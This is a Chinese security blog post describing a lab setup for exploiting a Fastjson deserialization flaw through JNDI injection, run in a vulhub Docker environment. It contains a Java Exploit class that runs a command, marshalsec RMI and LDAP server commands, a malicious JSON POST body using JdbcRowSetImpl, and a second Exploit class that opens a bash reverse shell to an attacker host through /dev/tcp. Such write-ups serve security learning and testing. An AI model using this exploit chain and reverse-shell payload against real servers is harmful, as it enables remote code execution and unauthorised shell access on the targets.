记录一次rmi和ldap的搭建利用

  • A+
所属分类:安全文章

Java语言类型的反序列化的利用,多数可以使用rmi和ldap来进一步利用。rmi和ldap都是属于远程利用的方式相关原理在这里不再进行介绍,直接开始搭建环境。

环境准备:

ubuntu(192.168.1.11)

kali(192.168.1.7)

windows10(192.168.1.8)

搭建过程:

其中Ubuntu搭建了docker,使用vulhub模拟出来fastjson-rce的环境:

到vulhub指定漏洞环境运行

sudo docker-compose up -d

记录一次rmi和ldap的搭建利用

接下来使用win10正常访问一下ubuntu的8090端口,如下图所示就搭建完成了fastjson环境:

记录一次rmi和ldap的搭建利用

win10抓包尝试post一些json数据,发现服务器可以接收到json数据信息:

记录一次rmi和ldap的搭建利用

利用kali作为公网服务器,首先使用javac命令把下面的文件生成一个class文件(javac Exploit.java执行完后直接会生成个Exploit.class文件):

javac Exploit.java
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

编译完成后直接丢在服务器上(这里用的kali),然后使用python在kali上起一个http服务,这样就把我桌面上的东西当作根目录,所以要把生成的Exploit.class拖到根目录桌面上:

python -m SimpleHTTPServer 8888 

记录一次rmi和ldap的搭建利用

访问启用的http服务,存在列目录即成功

记录一次rmi和ldap的搭建利用

然后再利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个rmi服务即可,并制定加载远程类Exploit.class。

开启rmi命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.7/#Exploit" 9999

开启ldap命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 138

记录一次rmi和ldap的搭建利用

当然也可以使用ldap来启动一个ldap服务,这里采用了rmi演示,启动完成后,使用win10,post如下数据包:(需要注意端口以及最后的Exploit不加后缀)

POST / HTTP/1.1Host: 192.168.1.11:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: JSESSIONID=21850261699CEB46925619B40CC02D49Upgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 161
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.7:9999/Exploit", "autoCommit":true }}

记录一次rmi和ldap的搭建利用

post完成后我们即可在rmi服务器上查看到连接情况

记录一次rmi和ldap的搭建利用

可能是由于jdk版本太高的问题,所以这里并没有成功,建议使用jdk1.8以下的版本进行。

使用此方法,也可以反弹shell到公网服务器,java代码如下,同样需要使用javac编译成class文件

import java.lang.Runtime;import java.lang.Process;
public class Exploit { static { try { Runtime r = Runtime.getRuntime();       Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.7/6666 0>&1"}); p.waitFor(); } catch (Exception e) { // do nothing } }}

遇见的坑:

我的java目录下没有javac.exe,百度了很多,才发现是在jdk安装的时候,需要输入两次路径信息,一个是jdk,一个是jre,这两个不能在同一个目录下。同一个目录下javac会被替换掉。

记录一次rmi和ldap的搭建利用

记录一次rmi和ldap的搭建利用

本文始发于微信公众号(Fight Tigers Team):记录一次rmi和ldap的搭建利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: